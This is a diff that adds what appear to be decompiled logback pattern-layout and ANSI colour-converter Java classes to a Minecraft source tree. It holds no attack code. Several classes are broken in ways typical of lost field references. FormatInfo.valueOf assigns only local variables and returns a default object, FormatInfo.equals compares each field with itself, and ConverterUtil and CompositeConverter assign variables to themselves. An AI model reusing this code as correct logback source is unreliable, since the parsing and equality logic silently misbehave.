+    StringBuilder buf = new StringBuilder();
+    
+    for (Converter<E> c = childConverter; c != null; c = next) {
+      c.write(buf, event);
+    }
+    String intermediary = buf.toString();
+    return transform(event, intermediary);
+  }
+  
+  protected abstract String transform(E paramE, String paramString);
+  
+  public Converter<E> getChildConverter() {
+    return childConverter;
+  }
+  
+  public void setChildConverter(Converter<E> child) {
+    childConverter = child;
+  }
+  
+  public String toString() {
+    StringBuilder buf = new StringBuilder();
+    buf.append("CompositeConverter<");
+    
+    if (formattingInfo != null) {
+      buf.append(formattingInfo);
+    }
+    if (childConverter != null) {
+      buf.append(", children: ").append(childConverter);
+    }
+    buf.append(">");
+    return buf.toString();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/Converter.java b/src/minecraft/ch/qos/logback/core/pattern/Converter.java
new file mode 100644
index 0000000..57df346
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/Converter.java
@@ -0,0 +1,55 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+
+
+
+
+
+public abstract class Converter<E>
+{
+  Converter<E> next;
+  
+
+
+
+
+
+
+
+  public Converter() {}
+  
+
+
+
+
+
+
+
+  public abstract String convert(E paramE);
+  
+
+
+
+
+
+
+
+  public void write(StringBuilder buf, E event)
+  {
+    buf.append(convert(event));
+  }
+  
+  public final void setNext(Converter<E> next) {
+    if (this.next != null) {
+      throw new IllegalStateException("Next converter has been already set");
+    }
+    this.next = next;
+  }
+  
+  public final Converter<E> getNext() {
+    return next;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/ConverterUtil.java b/src/minecraft/ch/qos/logback/core/pattern/ConverterUtil.java
new file mode 100644
index 0000000..19e54c6
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/ConverterUtil.java
@@ -0,0 +1,66 @@
+package ch.qos.logback.core.pattern;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAware;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ConverterUtil
+{
+  public ConverterUtil() {}
+  
+  public static <E> void startConverters(Converter<E> head)
+  {
+    Converter<E> c = head;
+    while (c != null)
+    {
+      if ((c instanceof CompositeConverter)) {
+        CompositeConverter<E> cc = (CompositeConverter)c;
+        Converter<E> childConverter = childConverter;
+        startConverters(childConverter);
+        cc.start();
+      } else if ((c instanceof DynamicConverter)) {
+        DynamicConverter<E> dc = (DynamicConverter)c;
+        dc.start();
+      }
+      c = c.getNext();
+    }
+  }
+  
+  public static <E> Converter<E> findTail(Converter<E> head)
+  {
+    Converter<E> p = head;
+    while (p != null) {
+      Converter<E> next = p.getNext();
+      if (next == null) {
+        break;
+      }
+      p = next;
+    }
+    
+    return p;
+  }
+  
+  public static <E> void setContextForConverters(Context context, Converter<E> head) {
+    Converter<E> c = head;
+    while (c != null) {
+      if ((c instanceof ContextAware)) {
+        ((ContextAware)c).setContext(context);
+      }
+      c = c.getNext();
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/DynamicConverter.java b/src/minecraft/ch/qos/logback/core/pattern/DynamicConverter.java
new file mode 100644
index 0000000..66bde60
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/DynamicConverter.java
@@ -0,0 +1,112 @@
+package ch.qos.logback.core.pattern;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.ContextAwareBase;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.status.Status;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class DynamicConverter<E>
+  extends FormattingConverter<E>
+  implements LifeCycle, ContextAware
+{
+  ContextAwareBase cab = new ContextAwareBase(this);
+  
+
+
+  private List<String> optionList;
+  
+
+
+  protected boolean started = false;
+  
+
+
+  public DynamicConverter() {}
+  
+
+  public void start()
+  {
+    started = true;
+  }
+  
+  public void stop() {
+    started = false;
+  }
+  
+  public boolean isStarted() {
+    return started;
+  }
+  
+  public void setOptionList(List<String> optionList) {
+    this.optionList = optionList;
+  }
+  
+
+
+
+
+
+  public String getFirstOption()
+  {
+    if ((optionList == null) || (optionList.size() == 0)) {
+      return null;
+    }
+    return (String)optionList.get(0);
+  }
+  
+  protected List<String> getOptionList()
+  {
+    return optionList;
+  }
+  
+  public void setContext(Context context) {
+    cab.setContext(context);
+  }
+  
+  public Context getContext() {
+    return cab.getContext();
+  }
+  
+  public void addStatus(Status status) {
+    cab.addStatus(status);
+  }
+  
+  public void addInfo(String msg) {
+    cab.addInfo(msg);
+  }
+  
+  public void addInfo(String msg, Throwable ex) {
+    cab.addInfo(msg, ex);
+  }
+  
+  public void addWarn(String msg) {
+    cab.addWarn(msg);
+  }
+  
+  public void addWarn(String msg, Throwable ex) {
+    cab.addWarn(msg, ex);
+  }
+  
+  public void addError(String msg) {
+    cab.addError(msg);
+  }
+  
+  public void addError(String msg, Throwable ex) {
+    cab.addError(msg, ex);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/FormatInfo.java b/src/minecraft/ch/qos/logback/core/pattern/FormatInfo.java
new file mode 100644
index 0000000..3aea676
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/FormatInfo.java
@@ -0,0 +1,154 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FormatInfo
+{
+  private int min = Integer.MIN_VALUE;
+  private int max = Integer.MAX_VALUE;
+  private boolean leftPad = true;
+  private boolean leftTruncate = true;
+  
+  public FormatInfo() {}
+  
+  public FormatInfo(int min, int max)
+  {
+    this.min = min;
+    this.max = max;
+  }
+  
+  public FormatInfo(int min, int max, boolean leftPad, boolean leftTruncate) {
+    this.min = min;
+    this.max = max;
+    this.leftPad = leftPad;
+    this.leftTruncate = leftTruncate;
+  }
+  
+
+
+
+
+
+
+  public static FormatInfo valueOf(String str)
+    throws IllegalArgumentException
+  {
+    if (str == null) {
+      throw new NullPointerException("Argument cannot be null");
+    }
+    
+    FormatInfo fi = new FormatInfo();
+    
+    int indexOfDot = str.indexOf('.');
+    String minPart = null;
+    String maxPart = null;
+    if (indexOfDot != -1) {
+      minPart = str.substring(0, indexOfDot);
+      if (indexOfDot + 1 == str.length()) {
+        throw new IllegalArgumentException("Formatting string [" + str + "] should not end with '.'");
+      }
+      
+      maxPart = str.substring(indexOfDot + 1);
+    }
+    else {
+      minPart = str;
+    }
+    
+    if ((minPart != null) && (minPart.length() > 0)) {
+      int min = Integer.parseInt(minPart);
+      if (min >= 0) {
+        min = min;
+      } else {
+        min = (-min);
+        leftPad = false;
+      }
+    }
+    
+    if ((maxPart != null) && (maxPart.length() > 0)) {
+      int max = Integer.parseInt(maxPart);
+      if (max >= 0) {
+        max = max;
+      } else {
+        max = (-max);
+        leftTruncate = false;
+      }
+    }
+    
+    return fi;
+  }
+  
+  public boolean isLeftPad()
+  {
+    return leftPad;
+  }
+  
+  public void setLeftPad(boolean leftAlign) {
+    leftPad = leftAlign;
+  }
+  
+  public int getMax() {
+    return max;
+  }
+  
+  public void setMax(int max) {
+    this.max = max;
+  }
+  
+  public int getMin() {
+    return min;
+  }
+  
+  public void setMin(int min) {
+    this.min = min;
+  }
+  
+  public boolean isLeftTruncate() {
+    return leftTruncate;
+  }
+  
+  public void setLeftTruncate(boolean leftTruncate) {
+    this.leftTruncate = leftTruncate;
+  }
+  
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (!(o instanceof FormatInfo)) {
+      return false;
+    }
+    FormatInfo r = (FormatInfo)o;
+    
+    return (min == min) && (max == max) && (leftPad == leftPad) && (leftTruncate == leftTruncate);
+  }
+  
+
+  public int hashCode()
+  {
+    int result = min;
+    result = 31 * result + max;
+    result = 31 * result + (leftPad ? 1 : 0);
+    result = 31 * result + (leftTruncate ? 1 : 0);
+    return result;
+  }
+  
+  public String toString() {
+    return "FormatInfo(" + min + ", " + max + ", " + leftPad + ", " + leftTruncate + ")";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/FormattingConverter.java b/src/minecraft/ch/qos/logback/core/pattern/FormattingConverter.java
new file mode 100644
index 0000000..413be24
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/FormattingConverter.java
@@ -0,0 +1,72 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+public abstract class FormattingConverter<E>
+  extends Converter<E>
+{
+  static final int INITIAL_BUF_SIZE = 256;
+  
+
+  static final int MAX_CAPACITY = 1024;
+  
+
+  FormatInfo formattingInfo;
+  
+
+
+  public FormattingConverter() {}
+  
+
+
+  public final FormatInfo getFormattingInfo()
+  {
+    return formattingInfo;
+  }
+  
+  public final void setFormattingInfo(FormatInfo formattingInfo) {
+    if (this.formattingInfo != null) {
+      throw new IllegalStateException("FormattingInfo has been already set");
+    }
+    this.formattingInfo = formattingInfo;
+  }
+  
+  public final void write(StringBuilder buf, E event)
+  {
+    String s = convert(event);
+    
+    if (formattingInfo == null) {
+      buf.append(s);
+      return;
+    }
+    
+    int min = formattingInfo.getMin();
+    int max = formattingInfo.getMax();
+    
+
+    if (s == null) {
+      if (0 < min)
+        SpacePadder.spacePad(buf, min);
+      return;
+    }
+    
+    int len = s.length();
+    
+    if (len > max) {
+      if (formattingInfo.isLeftTruncate()) {
+        buf.append(s.substring(len - max));
+      } else {
+        buf.append(s.substring(0, max));
+      }
+    } else if (len < min) {
+      if (formattingInfo.isLeftPad()) {
+        SpacePadder.leftPad(buf, s, min);
+      } else {
+        SpacePadder.rightPad(buf, s, min);
+      }
+    } else {
+      buf.append(s);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/IdentityCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/IdentityCompositeConverter.java
new file mode 100644
index 0000000..48ac6af
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/IdentityCompositeConverter.java
@@ -0,0 +1,22 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+
+
+public class IdentityCompositeConverter<E>
+  extends CompositeConverter<E>
+{
+  public IdentityCompositeConverter() {}
+  
+
+
+
+
+
+  protected String transform(E event, String in)
+  {
+    return in;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/LiteralConverter.java b/src/minecraft/ch/qos/logback/core/pattern/LiteralConverter.java
new file mode 100644
index 0000000..4772e71
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/LiteralConverter.java
@@ -0,0 +1,27 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+
+
+
+public final class LiteralConverter<E>
+  extends Converter<E>
+{
+  String literal;
+  
+
+
+
+
+
+  public LiteralConverter(String literal)
+  {
+    this.literal = literal;
+  }
+  
+  public String convert(E o) {
+    return literal;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/PatternLayoutBase.java b/src/minecraft/ch/qos/logback/core/pattern/PatternLayoutBase.java
new file mode 100644
index 0000000..5292ca1
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/PatternLayoutBase.java
@@ -0,0 +1,161 @@
+package ch.qos.logback.core.pattern;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.LayoutBase;
+import ch.qos.logback.core.pattern.parser.Node;
+import ch.qos.logback.core.pattern.parser.Parser;
+import ch.qos.logback.core.spi.ScanException;
+import ch.qos.logback.core.status.ErrorStatus;
+import ch.qos.logback.core.status.StatusManager;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class PatternLayoutBase<E>
+  extends LayoutBase<E>
+{
+  Converter<E> head;
+  String pattern;
+  protected PostCompileProcessor<E> postCompileProcessor;
+  Map<String, String> instanceConverterMap = new HashMap();
+  protected boolean outputPatternAsHeader = false;
+  
+
+
+
+  public PatternLayoutBase() {}
+  
+
+
+  public abstract Map<String, String> getDefaultConverterMap();
+  
+
+
+  public Map<String, String> getEffectiveConverterMap()
+  {
+    Map<String, String> effectiveMap = new HashMap();
+    
+
+    Map<String, String> defaultMap = getDefaultConverterMap();
+    if (defaultMap != null) {
+      effectiveMap.putAll(defaultMap);
+    }
+    
+
+    Context context = getContext();
+    if (context != null)
+    {
+      Map<String, String> contextMap = (Map)context.getObject("PATTERN_RULE_REGISTRY");
+      
+      if (contextMap != null) {
+        effectiveMap.putAll(contextMap);
+      }
+    }
+    
+    effectiveMap.putAll(instanceConverterMap);
+    return effectiveMap;
+  }
+  
+  public void start() {
+    if ((pattern == null) || (pattern.length() == 0)) {
+      addError("Empty or null pattern.");
+      return;
+    }
+    try {
+      Parser<E> p = new Parser(pattern);
+      if (getContext() != null) {
+        p.setContext(getContext());
+      }
+      Node t = p.parse();
+      head = p.compile(t, getEffectiveConverterMap());
+      if (postCompileProcessor != null) {
+        postCompileProcessor.process(head);
+      }
+      ConverterUtil.setContextForConverters(getContext(), head);
+      ConverterUtil.startConverters(head);
+      super.start();
+    } catch (ScanException sce) {
+      StatusManager sm = getContext().getStatusManager();
+      sm.add(new ErrorStatus("Failed to parse pattern \"" + getPattern() + "\".", this, sce));
+    }
+  }
+  
+
+  public void setPostCompileProcessor(PostCompileProcessor<E> postCompileProcessor)
+  {
+    this.postCompileProcessor = postCompileProcessor;
+  }
+  
+
+
+  /**
+   * @deprecated
+   */
+  protected void setContextForConverters(Converter<E> head)
+  {
+    ConverterUtil.setContextForConverters(getContext(), head);
+  }
+  
+  protected String writeLoopOnConverters(E event) {
+    StringBuilder buf = new StringBuilder(128);
+    Converter<E> c = head;
+    while (c != null) {
+      c.write(buf, event);
+      c = c.getNext();
+    }
+    return buf.toString();
+  }
+  
+  public String getPattern() {
+    return pattern;
+  }
+  
+  public void setPattern(String pattern) {
+    this.pattern = pattern;
+  }
+  
+  public String toString() {
+    return getClass().getName() + "(\"" + getPattern() + "\")";
+  }
+  
+  public Map<String, String> getInstanceConverterMap() {
+    return instanceConverterMap;
+  }
+  
+  protected String getPresentationHeaderPrefix()
+  {
+    return "";
+  }
+  
+  public boolean isOutputPatternAsHeader() {
+    return outputPatternAsHeader;
+  }
+  
+  public void setOutputPatternAsHeader(boolean outputPatternAsHeader) {
+    this.outputPatternAsHeader = outputPatternAsHeader;
+  }
+  
+  public String getPresentationHeader()
+  {
+    if (outputPatternAsHeader) {
+      return getPresentationHeaderPrefix() + pattern;
+    }
+    return super.getPresentationHeader();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/PatternLayoutEncoderBase.java b/src/minecraft/ch/qos/logback/core/pattern/PatternLayoutEncoderBase.java
new file mode 100644
index 0000000..0fada15
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/PatternLayoutEncoderBase.java
@@ -0,0 +1,66 @@
+package ch.qos.logback.core.pattern;
+
+import ch.qos.logback.core.Layout;
+import ch.qos.logback.core.encoder.LayoutWrappingEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+public class PatternLayoutEncoderBase<E>
+  extends LayoutWrappingEncoder<E>
+{
+  String pattern;
+  
+  public PatternLayoutEncoderBase() {}
+  
+  protected boolean outputPatternAsHeader = false;
+  
+  public String getPattern() {
+    return pattern;
+  }
+  
+  public void setPattern(String pattern) {
+    this.pattern = pattern;
+  }
+  
+  public boolean isOutputPatternAsHeader() {
+    return outputPatternAsHeader;
+  }
+  
+
+
+
+
+
+
+  public void setOutputPatternAsHeader(boolean outputPatternAsHeader)
+  {
+    this.outputPatternAsHeader = outputPatternAsHeader;
+  }
+  
+  public boolean isOutputPatternAsPresentationHeader()
+  {
+    return outputPatternAsHeader;
+  }
+  
+  /**
+   * @deprecated
+   */
+  public void setOutputPatternAsPresentationHeader(boolean outputPatternAsHeader) {
+    addWarn("[outputPatternAsPresentationHeader] property is deprecated. Please use [outputPatternAsHeader] option instead.");
+    this.outputPatternAsHeader = outputPatternAsHeader;
+  }
+  
+  public void setLayout(Layout<E> layout)
+  {
+    throw new UnsupportedOperationException("one cannot set the layout of " + getClass().getName());
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/PostCompileProcessor.java b/src/minecraft/ch/qos/logback/core/pattern/PostCompileProcessor.java
new file mode 100644
index 0000000..b8ffbd4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/PostCompileProcessor.java
@@ -0,0 +1,6 @@
+package ch.qos.logback.core.pattern;
+
+public abstract interface PostCompileProcessor<E>
+{
+  public abstract void process(Converter<E> paramConverter);
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/ReplacingCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/ReplacingCompositeConverter.java
new file mode 100644
index 0000000..93100e5
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/ReplacingCompositeConverter.java
@@ -0,0 +1,50 @@
+package ch.qos.logback.core.pattern;
+
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+
+
+
+
+
+
+
+
+public class ReplacingCompositeConverter<E>
+  extends CompositeConverter<E>
+{
+  Pattern pattern;
+  String regex;
+  String replacement;
+  
+  public ReplacingCompositeConverter() {}
+  
+  public void start()
+  {
+    List<String> optionList = getOptionList();
+    if (optionList == null) {
+      addError("at least two options are expected whereas you have declared none");
+      return;
+    }
+    
+    int numOpts = optionList.size();
+    
+    if (numOpts < 2) {
+      addError("at least two options are expected whereas you have declared only " + numOpts + "as [" + optionList + "]");
+      return;
+    }
+    regex = ((String)optionList.get(0));
+    pattern = Pattern.compile(regex);
+    replacement = ((String)optionList.get(1));
+    super.start();
+  }
+  
+  protected String transform(E event, String in)
+  {
+    if (!started)
+      return in;
+    return pattern.matcher(in).replaceAll(replacement);
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/SpacePadder.java b/src/minecraft/ch/qos/logback/core/pattern/SpacePadder.java
new file mode 100644
index 0000000..8011e05
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/SpacePadder.java
@@ -0,0 +1,64 @@
+package ch.qos.logback.core.pattern;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class SpacePadder
+{
+  static final String[] SPACES = { " ", "  ", "    ", "        ", "                ", "                                " };
+  
+  public SpacePadder() {}
+  
+  public static final void leftPad(StringBuilder buf, String s, int desiredLength)
+  {
+    int actualLen = 0;
+    if (s != null) {
+      actualLen = s.length();
+    }
+    if (actualLen < desiredLength) {
+      spacePad(buf, desiredLength - actualLen);
+    }
+    if (s != null) {
+      buf.append(s);
+    }
+  }
+  
+  public static final void rightPad(StringBuilder buf, String s, int desiredLength) {
+    int actualLen = 0;
+    if (s != null) {
+      actualLen = s.length();
+    }
+    if (s != null) {
+      buf.append(s);
+    }
+    if (actualLen < desiredLength) {
+      spacePad(buf, desiredLength - actualLen);
+    }
+  }
+  
+
+
+  public static final void spacePad(StringBuilder sbuf, int length)
+  {
+    while (length >= 32) {
+      sbuf.append(SPACES[5]);
+      length -= 32;
+    }
+    
+    for (int i = 4; i >= 0; i--) {
+      if ((length & 1 << i) != 0) {
+        sbuf.append(SPACES[i]);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/ANSIConstants.java b/src/minecraft/ch/qos/logback/core/pattern/color/ANSIConstants.java
new file mode 100644
index 0000000..5b13941
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/ANSIConstants.java
@@ -0,0 +1,19 @@
+package ch.qos.logback.core.pattern.color;
+
+public class ANSIConstants
+{
+  public static final String ESC_START = "\033[";
+  public static final String ESC_END = "m";
+  public static final String BOLD = "1;";
+  public static final String BLACK_FG = "30";
+  public static final String RED_FG = "31";
+  public static final String GREEN_FG = "32";
+  public static final String YELLOW_FG = "33";
+  public static final String BLUE_FG = "34";
+  public static final String MAGENTA_FG = "35";
+  public static final String CYAN_FG = "36";
+  public static final String WHITE_FG = "37";
+  public static final String DEFAULT_FG = "39";
+  
+  public ANSIConstants() {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BlackCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BlackCompositeConverter.java
new file mode 100644
index 0000000..89e77b7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BlackCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class BlackCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BlackCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "30";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BlueCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BlueCompositeConverter.java
new file mode 100644
index 0000000..1922ea8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BlueCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class BlueCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BlueCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "34";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldBlueCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldBlueCompositeConverter.java
new file mode 100644
index 0000000..9c42d19
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldBlueCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class BoldBlueCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldBlueCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;34";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldCyanCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldCyanCompositeConverter.java
new file mode 100644
index 0000000..c2d1105
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldCyanCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class BoldCyanCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldCyanCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;36";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldGreenCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldGreenCompositeConverter.java
new file mode 100644
index 0000000..0801ef8
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldGreenCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class BoldGreenCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldGreenCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;32";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldMagentaCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldMagentaCompositeConverter.java
new file mode 100644
index 0000000..0d980d0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldMagentaCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class BoldMagentaCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldMagentaCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;35";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldRedCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldRedCompositeConverter.java
new file mode 100644
index 0000000..cf0a126
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldRedCompositeConverter.java
@@ -0,0 +1,30 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+public class BoldRedCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldRedCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;31";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldWhiteCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldWhiteCompositeConverter.java
new file mode 100644
index 0000000..f2c7301
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldWhiteCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class BoldWhiteCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldWhiteCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;37";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/BoldYellowCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/BoldYellowCompositeConverter.java
new file mode 100644
index 0000000..436148b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/BoldYellowCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class BoldYellowCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public BoldYellowCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;33";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/CyanCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/CyanCompositeConverter.java
new file mode 100644
index 0000000..a9f2009
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/CyanCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class CyanCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public CyanCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "36";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/ForegroundCompositeConverterBase.java b/src/minecraft/ch/qos/logback/core/pattern/color/ForegroundCompositeConverterBase.java
new file mode 100644
index 0000000..a43a9c7
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/ForegroundCompositeConverterBase.java
@@ -0,0 +1,41 @@
+package ch.qos.logback.core.pattern.color;
+
+import ch.qos.logback.core.pattern.CompositeConverter;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class ForegroundCompositeConverterBase<E>
+  extends CompositeConverter<E>
+{
+  private static final String SET_DEFAULT_COLOR = "\033[0;39m";
+  
+  public ForegroundCompositeConverterBase() {}
+  
+  protected String transform(E event, String in)
+  {
+    StringBuilder sb = new StringBuilder();
+    sb.append("\033[");
+    sb.append(getForegroundColorCode(event));
+    sb.append("m");
+    sb.append(in);
+    sb.append("\033[0;39m");
+    return sb.toString();
+  }
+  
+  protected abstract String getForegroundColorCode(E paramE);
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/GrayCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/GrayCompositeConverter.java
new file mode 100644
index 0000000..73ffb3c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/GrayCompositeConverter.java
@@ -0,0 +1,32 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+
+
+public class GrayCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public GrayCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "1;30";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/GreenCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/GreenCompositeConverter.java
new file mode 100644
index 0000000..fa8cd59
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/GreenCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class GreenCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public GreenCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "32";
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/pattern/color/MagentaCompositeConverter.java b/src/minecraft/ch/qos/logback/core/pattern/color/MagentaCompositeConverter.java
new file mode 100644
index 0000000..79e4fb4
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/pattern/color/MagentaCompositeConverter.java
@@ -0,0 +1,28 @@
+package ch.qos.logback.core.pattern.color;
+
+
+
+
+
+
+
+
+
+public class MagentaCompositeConverter<E>
+  extends ForegroundCompositeConverterBase<E>
+{
+  public MagentaCompositeConverter() {}
+  
+
+
+
+
+
+
+
+
+  protected String getForegroundColorCode(E event)
+  {
+    return "35";
+  }
+}
